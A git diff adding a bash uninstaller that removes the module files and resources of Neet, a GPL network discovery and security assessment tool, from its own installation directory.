mode 100755 index 0000000..bdfc834 --- /dev/null +++ b/uninstall.sh @@ -0,0 +1,42 @@ +#!/bin/bash + +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +# This is the uninstaller for the Neet Global Service Monitor modules (GSMs) +export CONFDIR="/opt/neet/etc" +if [ ! -f "${CONFDIR}/locations" ]; then + echo "Couldn't find Neet installation!" + exit 1 +fi +export NEET=`grep ^neetbase= ${CONFDIR}/locations | awk -F= {print'$2'}` + +# Get rid of the modules and their resources +/bin/rm -f ${NEET}/modules/*.gsm +/bin/rm -f ${NEET}/modules/*.gsm.* +/bin/rm -rf ${NEET}/resources/modules/* + +. util/functions.sh +rmVersion modulepack + +echo "Neet module pack has been removed." +